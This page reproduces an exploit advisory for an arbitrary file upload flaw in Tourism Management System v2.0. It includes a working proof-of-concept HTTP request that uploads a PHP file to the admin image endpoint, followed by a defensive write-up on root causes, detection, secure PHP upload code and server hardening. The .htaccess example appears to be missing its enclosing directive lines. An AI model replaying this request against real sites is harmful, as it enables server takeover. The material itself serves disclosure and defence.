Tourism Management System v2.0 - Arbitrary File Upload

Exploit Author: SoSPiro Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-25
# Exploit Title: Tourism Management System v2.0 - Arbitrary File Upload
# Google Dork: N/A
# Exploit Author: SoSPiro
# Date: 2024-02-18
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/tourism-management-system-free-download/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Allows admin to upload all files to the web server
# CVE : N/A


# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input.

# PoC request


POST /zer/tms/admin/change-image.php?imgid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------390927495111779706051786831201
Content-Length: 361
Origin: http://localhost
Connection: close
Referer: http://localhost/zer/tms/admin/change-image.php?imgid=1
Cookie: PHPSESSID=eqms3ipedmm41hqa1djnu1euhv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: red

-----------------------------390927495111779706051786831201
Content-Disposition: form-data; name="packageimage"; filename="phpinfo.php"
Content-Type: text/plain

<?php phpinfo();?>
-----------------------------390927495111779706051786831201
Content-Disposition: form-data; name="submit"


-----------------------------390927495111779706051786831201--




===========================================================================================

- Response -

HTTP/1.1 200 OK
Date: Sun, 18 Feb 2024 04:33:37 GMT
Server: Apache/2.4.54 (Win64) PHP/8.1.13 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.1.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8146

============================================================================================

- File location -

http://localhost/zer/tms/admin/pacakgeimages/phpinfo.php


Tourism Management System v2.0 — Arbitrary File Upload: Overview, Impact, and Mitigation

The Tourism Management System v2.0 (TMS) has been reported to contain an arbitrary file‑upload vulnerability in its image/change‑upload handling. Arbitrary file uploads are a common and serious web application weakness: if an attacker can upload files that the server later executes or serves as active content, this can lead to remote code execution, data exposure, privilege escalation, and persistent access.

What this class of vulnerability means

  • An arbitrary file‑upload vulnerability occurs when an application accepts user files without sufficient validation, sanitization, and storage controls.
  • Risks include server‑side code execution (for example, uploading a script and invoking it), content spoofing, cross‑site scripting (if uploaded HTML is later rendered), and host compromise.
  • Impact severity depends on where files are stored, web server configuration, and application logic that may later include or execute uploaded content.

Typical root causes

  • Relying solely on client‑side validation (which attackers can bypass).
  • Permitting dangerous file extensions (for example, allowing PHP, ASP, or other executable extensions) or relying only on filename extensions for validation.
  • Failing to validate file contents or MIME type, and failing to verify image headers for images.
  • Storing user uploads in a web‑accessible directory with execution permissions.
  • Improper file permissions and lack of server hardening (allowing uploaded scripts to be interpreted by the web engine).

Potential impact (real‑world examples)

  • Remote code execution — an attacker uploads a server‑side script and invokes it to run arbitrary commands.
  • Privileged data access — an attacker uploads scripts to read configuration files, databases, or credentials found on the host.
  • Persistence — web shells allow attackers to maintain long‑term access even after initial vulnerabilities are patched.
  • Pivoting — compromise of the web server can be used to attack internal network resources.

Indicators of compromise (IoCs)

  • Unexpected files appearing in upload directories (especially with non‑image extensions or odd filenames).
  • HTTP requests for uploaded files with unusual query strings or user agents.
  • Logs showing execution of files from upload folders (e.g., PHP interpreter invoked on files uploaded by non‑administrative users).
  • Unfamiliar outgoing connections originating from the web server after an upload.

Safe testing and responsible disclosure

  • Do not test exploit techniques against systems you do not own or have explicit permission to assess. Unauthorized testing may be illegal and unethical.
  • When discovering a vulnerability, follow a coordinated disclosure process: contact the vendor securely, provide reproducible but non‑abusive details, and agree on a remediation timeline before public disclosure.
  • Use non‑destructive proof‑of‑concepts for reporting (for example, upload a benign file or a harmless text marker) and avoid uploading live shells or payloads.

Detection & monitoring strategies

  • Automated scanning: run authenticated vulnerability scans (SAST/DAST) and keep signatures up to date.
  • File integrity monitoring: detect creation of new or modified files in upload directories.
  • Web access logging and alerting: watch for requests that execute uploaded resources or calls to unusual endpoints.
  • Runtime application self‑protection (RASP) or a Web Application Firewall (WAF) to block suspicious payloads and unusual file upload patterns.

Mitigation and secure design patterns

Below are defensive controls and code patterns that substantially reduce the risk of arbitrary file uploads becoming an exploit vector.

1) Enforce server‑side validation (whitelist approach)

  • Only accept specific file types (e.g., JPG, PNG) and block all others. Validate by multiple attributes: extension, MIME type (server side), and file signature.
  • Verify images using functions that inspect header signatures (e.g., getimagesize in PHP) or binary magic‑number checks.
  • Limit maximum file size and validate content length.

2) Store uploads outside the webroot or disable execution

  • Prefer storing uploaded files outside the document root and serve them via a controlled endpoint that streams the file after authorization checks.
  • If storing in a web‑accessible directory is unavoidable, configure the web server to block script execution in that directory.

3) Safely name and manage uploaded files

  • Generate safe, unpredictable filenames (hashes or UUIDs); never use user‑supplied filenames directly.
  • Set restrictive filesystem permissions (owner read/write, no execute) and avoid storing uploads with executable permissions.

4) Enforce content security and transport controls

  • Return safe Content‑Type headers when serving files and avoid reflecting uploaded content directly into application pages.
  • Use Content Security Policy (CSP) and other browser controls to mitigate client‑side risks from uploaded HTML or JS.

Secure PHP upload example

/* Example: secure_upload.php - safe, defensive upload handler (PHP) */$allowed_ext = ['jpg','jpeg','png','gif'];
$max_size = 2 * 1024 * 1024; // 2 MB

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];

    // Basic checks
    if ($file['error'] !== UPLOAD_ERR_OK) {
        throw new Exception('Upload error');
    }
    if ($file['size'] > $max_size) {
        throw new Exception('File too large');
    }

    // Use finfo for MIME type, not client-supplied type
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($file['tmp_name']);

    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext, true)) {
        throw new Exception('Invalid file extension');
    }

    // Verify image content
    $img_info = getimagesize($file['tmp_name']);
    if ($img_info === false) {
        throw new Exception('Not a valid image');
    }

    // Generate a safe filename and store outside webroot
    $safeName = bin2hex(random_bytes(16)) . '.' . $ext;
    $destination = __DIR__ . '/../uploads/' . $safeName; // uploads folder outside webroot

    if (!move_uploaded_file($file['tmp_name'], $destination)) {
        throw new Exception('Failed to save file');
    }

    // Set restrictive permissions
    chmod($destination, 0640);

    echo 'File uploaded safely';
}

Explanation: This code demonstrates multiple defensive controls. It performs server‑side validation of file size and type, uses finfo to determine MIME type (not trusting client values), validates that the file is an actual image with getimagesize, generates a cryptographically random filename, stores files outside the webroot, and sets restrictive permissions. It avoids relying on the original filename and prevents storing executable content where the web server would interpret it.

Config-level protections

  • Disable execution in upload directories:
    • Apache: place an .htaccess or server config with "php_flag engine off" (or better, prevent script handlers from serving that directory) and "Options -ExecCGI".
    • Nginx: configure the location block to treat files as static and avoid passing them to fastcgi/upstream handlers.
  • Harden PHP:
    • Disable dangerous functions (e.g., exec, shell_exec, passthru) if not needed.
    • Use open_basedir, disable_file_uploads when unnecessary, and keep PHP up to date.
  • Run web processes with minimal privileges and avoid storing secrets on the web host.

Example .htaccess to disable script execution in uploads (Apache)

# Deny execution of scripts in this directory

  php_flag engine off


# Deny access to any script extensions just in case

  Require all denied


# Serve only static content
Options -ExecCGI -Indexes

Explanation: The snippet above shows defensive server configuration to reduce risk if files end up in a web‑accessible uploads directory. It turns off the PHP engine for that directory (where supported), blocks common script extensions, and disables CGI execution and directory listings.

Remediation checklist for administrators

ActionPriority
Audit upload handling code and add server‑side validationHigh
Move uploads outside webroot or disable execution in upload directoriesHigh
Implement file integrity monitoring and alertingHigh
Harden web server and PHP configurationMedium
Rotate credentials and check for persistence/backdoors if compromise suspectedHigh
Apply vendor patches and follow responsible disclosure timelinesHigh

Responsible disclosure & coordination

If you are a security researcher or administrator who has discovered this issue:

  • Contact the vendor via their security or support channels with reproducible but non‑destructive evidence and suggested remediation steps.
  • If the vendor is unresponsive, follow a coordinated disclosure process and consider contacting CERT/CSIRT for guidance.
  • When publishing details publicly, avoid providing step‑by‑step exploit instructions or payloads that would enable abuse; instead, share mitigations, detection guidance, and code fixes.

Final recommendations

Arbitrary file upload vulnerabilities are preventable with layered defenses: secure coding practices, correct server configuration, and active monitoring. Apply a whitelist approach to file types, validate file contents robustly, store uploads safely, and harden the hosting environment. When in doubt, assume uploaded content can be abused and design your upload handling accordingly.

ResourcesWhy useful
OWASP File Upload Cheat SheetPractical guidance and patterns for secure uploads
Vendor support channelsPatch information and vendor‑specific fixes
File integrity and WAF toolsDetection and blocking of malicious uploads in production